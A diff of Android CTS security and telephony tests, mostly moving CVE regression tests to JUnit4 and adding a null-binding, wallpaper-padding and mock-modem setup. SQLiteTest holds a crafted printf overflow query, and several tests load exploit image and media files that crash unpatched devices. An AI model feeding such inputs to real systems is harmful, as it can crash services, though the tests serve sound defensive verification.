+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -19,11 +19,17 @@
import android.app.ActivityManager;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
import java.util.List;
-public class RunningAppProcessInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
/*
* This test verifies severity vulnerability: apps can bypass the L restrictions in
* getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes
@@ -31,9 +37,10 @@
*/
@AsbSecurityTest(cveBugId = 20034603)
+ @Test
public void testRunningAppProcessInfo() {
ActivityManager amActivityManager =
- (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> appList =
amActivityManager.getRunningAppProcesses();
// The test will pass if it is able to get only its process info
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
index a3a14d4..84d36fa 100644
--- a/tests/tests/security/src/android/security/cts/SQLiteTest.java
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -28,14 +28,21 @@
import android.net.Uri;
import android.platform.test.annotations.AsbSecurityTest;
import android.provider.VoicemailContract;
-import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.io.FileInputStream;
-public class SQLiteTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class SQLiteTest extends StsExtraBusinessLogicTestCase {
private static final String DATABASE_FILE_NAME = "database_test.db";
private ContentResolver mResolver;
@@ -44,9 +51,8 @@
private SQLiteDatabase mDatabase;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mResolver = getContext().getContentResolver();
mContext = InstrumentationRegistry.getTargetContext();
mPackageName = mContext.getPackageName();
@@ -62,6 +68,7 @@
* b/139186193
*/
@AsbSecurityTest(cveBugId = 139186193)
+ @Test
public void test_android_cve_2019_2195() {
Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
@@ -99,6 +106,7 @@
* b/153352319
*/
@AsbSecurityTest(cveBugId = 153352319)
+ @Test
public void test_android_float_to_text_conversion_overflow() {
String create_cmd = "select (printf('%.2147483647G',0.01));";
try (Cursor c = mDatabase.rawQuery(create_cmd, null)) {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index 7e6fb7c..2765de4 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -15,33 +15,35 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class STKFrameworkTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class STKFrameworkTest extends StsExtraBusinessLogicTestCase {
private boolean mHasTelephony;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mHasTelephony = getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_TELEPHONY);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- }
-
/*
* Verifies commands Intercepting which has been sent from SIM card to Telephony using
* zero-permission malicious application
*/
@AsbSecurityTest(cveBugId = 21697171)
+ @Test
public void testInterceptedSIMCommandsToTelephony() {
if (!mHasTelephony) {
return;
@@ -54,7 +56,7 @@
ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver");
intent.setComponent(cn);
try {
- mContext.sendBroadcast(intent);
+ getInstrumentation().getContext().sendBroadcast(intent);
fail("Able to send broadcast which can be received by any app which has registered " +
"broadcast for action 'com.android.internal.stk.command' since it is not " +
"protected with any permission. Device is vulnerable to CVE-2015-3843.");
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 4a9802f..de6a9ac 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -19,26 +19,33 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import java.io.InputStream;
import android.security.cts.R;
import android.platform.test.annotations.AsbSecurityTest;
-public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 73782357)
+ @Test
public void testAndroid_cve_2017_13318() {
doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
}
@AsbSecurityTest(cveBugId = 17262540)
+ @Test
public void test_android_bug_17262540() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
}
@AsbSecurityTest(cveBugId = 17265466)
+ @Test
public void test_android_bug_17265466() {
doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466);
}
@@ -47,7 +54,7 @@
* Verifies that the device prevents recursive decoding of malformed ICO files
*/
public void doSkiaIcoRecursiveDecodingTest(int resId) {
- InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
/**
* The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
* while decoding the exploit image which will lead to process crash
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6820f2c..af5fb29 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
*/
package android.security.cts;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.app.Instrumentation;
import android.content.Context;
import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@
*/
@AppModeFull
@RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
static final String TAG = "StagefrightTest";
- private Instrumentation mInstrumentation;
private final long TIMEOUT_NS = 10000000000L; // 10 seconds.
private final static long CHECK_INTERVAL = 50;
@Rule public TestName name = new TestName();
- @Before
- public void setup() {
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
- }
-
class CodecConfig {
boolean isAudio;
/* Video Parameters - valid only when isAudio is false */
@@ -1821,6 +1816,12 @@
before any existing test methods
***********************************************************/
@Test
+ @AsbSecurityTest(cveBugId = 157906313)
+ public void testStagefright_cve_2020_11135() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11135);
+ }
+
+ @Test
@AsbSecurityTest(cveBugId = 136175447)
public void testStagefright_cve_2019_2186() throws Exception {
long end = System.currentTimeMillis() + 180000; // 3 minutes from now
@@ -3259,8 +3260,4 @@
assertFalse(hung);
}
-
- private Instrumentation getInstrumentation() {
- return mInstrumentation;
- }
}
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 3be7534..945d119 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -22,22 +22,25 @@
import android.media.audiofx.AudioEffect;
import android.media.MediaPlayer;
import android.media.audiofx.Visualizer;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.UUID;
+import static org.junit.Assert.*;
-public class VisualizerEffectTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase {
private String TAG = "VisualizerEffectTest";
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
//Testing security bug: 30229821
+ @Test
@AsbSecurityTest(cveBugId = 30229821)
public void testVisualizer_MalformedConstructor() throws Exception {
final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
@@ -80,4 +83,4 @@
Log.w(TAG,"No visualizer found to test");
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
new file mode 100644
index 0000000..fda462b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+
+import android.Manifest;
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.view.Display;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+
+public class WallpaperManagerTest extends CtsAndroidTestCase {
+
+ @Before
+ public void setUp() {
+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_HINTS);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ // b/204316511
+ @AsbSecurityTest(cveBugId = 204316511)
+ public void testSetDisplayPadding() {
+ WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+
+ Rect validRect = new Rect(1, 1, 1, 1);
+ // This should work, no exception expected
+ wallpaperManager.setDisplayPadding(validRect);
+
+ Rect negativeRect = new Rect(-1, 0 , 0, 0);
+ try {
+ wallpaperManager.setDisplayPadding(negativeRect);
+ fail("setDisplayPadding should fail for a Rect with negative values");
+ } catch (IllegalArgumentException e) {
+ // Expected exception
+ }
+
+ DisplayManager dm = getContext().getSystemService(DisplayManager.class);
+ Display primaryDisplay = dm.getDisplay(DEFAULT_DISPLAY);
+ Context windowContext = getContext().createWindowContext(primaryDisplay,
+ TYPE_APPLICATION, null);
+ Display display = windowContext.getDisplay();
+
+ Rect tooWideRect = new Rect(0, 0, display.getMaximumSizeDimension() + 1, 0);
+ try {
+ wallpaperManager.setDisplayPadding(tooWideRect);
+ fail("setDisplayPadding should fail for a Rect width larger than "
+ + display.getMaximumSizeDimension());
+ } catch (IllegalArgumentException e) {
+ // Expected exception
+ }
+
+ Rect tooHighRect = new Rect(0, 0, 0, display.getMaximumSizeDimension() + 1);
+ try {
+ wallpaperManager.setDisplayPadding(tooHighRect);
+ fail("setDisplayPadding should fail for a Rect height larger than "
+ + display.getMaximumSizeDimension());
+ } catch (IllegalArgumentException e) {
+ // Expected exception
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index 5cc4fe5..af28a54 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -19,22 +19,30 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.security.cts.R;
-public class ZeroHeightTiffTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device fails to decode a zero height tiff file.
*
* Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
* With the fix, decoding will fail, without dividing by zero.
*/
+ @Test
@AsbSecurityTest(cveBugId = 33300701)
public void test_android_bug_33300701() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
diff --git a/tests/tests/sharesheet/OWNERS b/tests/tests/sharesheet/OWNERS
index 8bea7af..00c4b94 100644
--- a/tests/tests/sharesheet/OWNERS
+++ b/tests/tests/sharesheet/OWNERS
@@ -1,6 +1,7 @@
-# Bug component: 324112
+# Bug component: 78010
+# Internal-only bug component: 324112
+joshtrask@google.com
+mrenouf@google.com
+mrcasey@google.com
digman@google.com
-asc@google.com
-dsandler@google.com
-mpietal@google.com
-arangelov@google.com
\ No newline at end of file
+file:platform/frameworks/base:/packages/SystemUI/OWNERS
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
index b4c4e38..db2a142 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
@@ -45,6 +45,10 @@
return mContent.getWindowSystemUiVisibility();
}
+ public int getLeft() {
+ return mContent.getLocationOnScreen()[0];
+ }
+
public int getTop() {
return mContent.getLocationOnScreen()[1];
}
@@ -53,6 +57,10 @@
return mContent.getLocationOnScreen()[1] + mContent.getHeight();
}
+ public int getRight() {
+ return mContent.getLocationOnScreen()[0] + mContent.getWidth();
+ }
+
public int getWidth() {
return mContent.getWidth();
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index 0004bcd..a0e9ffb 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -59,13 +59,14 @@
protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
- return Bitmap.createBitmap(fullBitmap, 0, 0, fullBitmap.getWidth(), activity.getTop());
+ return Bitmap.createBitmap(fullBitmap, activity.getLeft(), 0, activity.getRight(),
+ activity.getTop());
}
protected Bitmap takeNavigationBarScreenshot(LightBarBaseActivity activity) {
Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
- return Bitmap.createBitmap(fullBitmap, 0, activity.getBottom(), fullBitmap.getWidth(),
- fullBitmap.getHeight() - activity.getBottom());
+ return Bitmap.createBitmap(fullBitmap, activity.getLeft(), activity.getBottom(),
+ activity.getRight(), fullBitmap.getHeight() - activity.getBottom());
}
protected void dumpBitmap(Bitmap bitmap, String name) {
@@ -106,9 +107,7 @@
for (int i = 0; i < pixels.length; i++) {
int x = i % bitmap.getWidth();
int y = i / bitmap.getWidth();
-
- if (pixels[i] == backgroundColor
- || isInsideCutout(x, shiftY + y)) {
+ if (isColorSame(pixels[i], backgroundColor) || isInsideCutout(x, shiftY + y)) {
backgroundColorPixelCount++;
}
}
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 96a07b3..1b1d48e 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -79,6 +79,14 @@
</intent-filter>
</service>
+ <service android:name="android.telecom.cts.NullBindingConnectionService"
+ android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telecom.ConnectionService"/>
+ </intent-filter>
+ </service>
+
<service android:name="android.telecom.cts.MockInCallService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:exported="true">
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
new file mode 100644
index 0000000..1debb7a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService}
+ * tries to return a null binding.
+ */
+public class NullBindingConnectionService extends Service {
+ public static CountDownLatch sBindLatch = new CountDownLatch(1);
+ public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+ public NullBindingConnectionService() {
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ sBindLatch.countDown();
+ sUnbindLatch = new CountDownLatch(1);
+ return null;
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ sUnbindLatch.countDown();
+ sBindLatch = new CountDownLatch(1);
+ return false;
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
new file mode 100644
index 0000000..611eeab
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically
+ * unbound.
+ */
+
+public class NullBindingTest extends BaseTelecomTestWithMockServices {
+ private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE =
+ new PhoneAccountHandle(new ComponentName("android.telecom.cts",
+ "android.telecom.cts.NullBindingConnectionService"),
+ "1");
+
+ public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder(
+ TEST_NULL_BINDING_HANDLE, "Null")
+ .setAddress(Uri.parse("sip:test@test.com"))
+ .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+ .build();
+
+ private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContext = getInstrumentation().getContext();
+ if (mShouldTestTelecom) {
+ mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT);
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (mShouldTestTelecom) {
+ mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE);
+ }
+ }
+
+ /**
+ * Ensures that when we bind to a ConnectionService which returns a null binding that the
+ * ConnectionService is unbound automatically.
+ */
+ public void testNullBinding() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ // Place a call using the null binding connection service.
+ Bundle extras = new Bundle();
+ extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE);
+ mTelecomManager.placeCall(TEST_ADDRESS_1, extras);
+
+ // Ensure it bound and then unbound.
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch));
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch));
+
+ // Ensure there is no call present in Telecom
+ assertFalse(mTelecomManager.isInCall());
+ }
+}
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 973be3f..5459267 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -56,13 +56,7 @@
"hamcrest-library",
"compatibility-device-util-axt",
"truth-prebuilt",
- "android.hardware.radio.config-V1-java",
- "android.hardware.radio.modem-V1-java",
- "android.hardware.radio.sim-V1-java",
- "android.hardware.radio.network-V1-java",
- "android.hardware.radio.data-V1-java",
- "android.hardware.radio.messaging-V1-java",
- "android.hardware.radio.voice-V1-java",
+ "android.telephony.mockmodem",
],
srcs: [
"src/**/*.java",
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 8befd97..f027c29 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -162,21 +162,6 @@
</intent-filter>
</service>
- <service android:name="android.telephony.cts.MockModemService"
- android:directBootAware="true"
- android:persistent="true"
- android:exported="true">
- <intent-filter>
- <action android:name="android.telephony.cts.iradioconfig"/>
- <action android:name="android.telephony.cts.iradiomodem"/>
- <action android:name="android.telephony.cts.iradiosim"/>
- <action android:name="android.telephony.cts.iradionetwork"/>
- <action android:name="android.telephony.cts.iradiodata"/>
- <action android:name="android.telephony.cts.iradiomessaging"/>
- <action android:name="android.telephony.cts.iradiovoice"/>
- </intent-filter>
- </service>
-
<service
android:name="android.telephony.cts.FakeCarrierMessagingService"
android:permission="android.permission.BIND_CARRIER_SERVICES"
diff --git a/tests/tests/telephony/current/mockmodem/Android.bp b/tests/tests/telephony/current/mockmodem/Android.bp
new file mode 100644
index 0000000..0e2a29a
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+ name: "android.telephony.mockmodem",
+ srcs: [
+ "src/**/*.java",
+ ":cts-telephony-utils",
+ ],
+ libs: [
+ "android-support-annotations",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "android.hardware.radio.config-V1-java",
+ "android.hardware.radio.modem-V1-java",
+ "android.hardware.radio.sim-V1-java",
+ "android.hardware.radio.network-V1-java",
+ "android.hardware.radio.data-V1-java",
+ "android.hardware.radio.messaging-V1-java",
+ "android.hardware.radio.voice-V1-java",
+ ],
+
+ min_sdk_version: "30",
+ platform_apis: true,
+}
diff --git a/tests/tests/telephony/current/mockmodem/AndroidManifest.xml b/tests/tests/telephony/current/mockmodem/AndroidManifest.xml
new file mode 100644
index 0000000..671794d
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.telephony.mockmodem">
+
+ <!-- Must be debuggable for compat shell commands to work on user builds -->
+ <application android:debuggable="true">
+ <service android:name="android.telephony.mockmodem.MockModemService"
+ android:directBootAware="true"
+ android:persistent="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telephony.mockmodem.iradioconfig"/>
+ <action android:name="android.telephony.mockmodem.iradiomodem"/>
+ <action android:name="android.telephony.mockmodem.iradiosim"/>
+ <action android:name="android.telephony.mockmodem.iradionetwork"/>
+ <action android:name="android.telephony.mockmodem.iradiodata"/>
+ <action android:name="android.telephony.mockmodem.iradiomessaging"/>
+ <action android:name="android.telephony.mockmodem.iradiovoice"/>
+ </intent-filter>
+ </service>
+ </application>
+</manifest>
diff --git a/tests/tests/telephony/current/assets/mock_sim_tw_cht.xml b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml
similarity index 70%
rename from tests/tests/telephony/current/assets/mock_sim_tw_cht.xml
rename to tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml
index aaabe62..426185a 100644
--- a/tests/tests/telephony/current/assets/mock_sim_tw_cht.xml
+++ b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml
@@ -1,4 +1,4 @@
-<MockSim numofapp="2" iccid="89886920042507847155">
+<MockSim numofapp="2" atr="3B9F96801FC78031E073FE2111634082918307900099">
<MockSimProfile id="0" type="APPTYPE_USIM">
<PinProfile appstate="APPSTATE_READY">
<Pin1State>PINSTATE_DISABLED</Pin1State>
@@ -15,7 +15,9 @@
</MF>
<ADF aid="A0000000871002F886FF9289050B00FE">
- <EF name="EF_IMSI" id="6F07">311740123456789</EF>
+ <EF name="EF_IMSI" id="6F07" command="" mnc-digit="2">466920123456789</EF>
+ <EF name="EF_ICCID" id="2FE2" command="0xb0">89886920042507847155</EF>
+ <EF name="EF_ICCID" id="2FE2" command="0xc0">0000000A2FE2040000FFFF01020002</EF>
</ADF>
</MockSimProfile>
diff --git a/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml
new file mode 100644
index 0000000..4463d88
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml
@@ -0,0 +1,23 @@
+<MockSim numofapp="1" atr="3B9E95801FC78031E073FE211B66D001A0E50F0048">
+<MockSimProfile id="0" type="APPTYPE_USIM">
+ <PinProfile appstate="APPSTATE_READY">
+ <Pin1State>PINSTATE_DISABLED</Pin1State>
+ <Pin2State>PINSTATE_ENABLED_NOT_VERIFIED</Pin2State>
+ </PinProfile>
+
+ <FacilityLock>
+ <FD>LOCK_DISABLED</FD>
+ <SC>LOCK_DISABLED</SC>
+ </FacilityLock>
+
+ <MF name="MF" path="3F00">
+ <EFDIR name="ADF1" curr_active="true">A0000000871002FF33FFFF8901010100</EFDIR>
+ </MF>
+
+ <ADF aid="A0000000871002FF33FFFF8901010100">
+ <EF name="EF_IMSI" id="6F07" command="" mnc-digit="2">466011122334455</EF>
+ <EF name="EF_ICCID" id="2FE2" command="0xb0">89886021157300856597</EF>
+ <EF name="EF_ICCID" id="2FE2" command="0xc0">0000000A2FE2040000FFFF01020002</EF>
+ </ADF>
+</MockSimProfile>
+</MockSim>
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioConfigImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java
similarity index 97%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioConfigImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java
index 86a2c8f7..1eae358e 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioConfigImpl.java
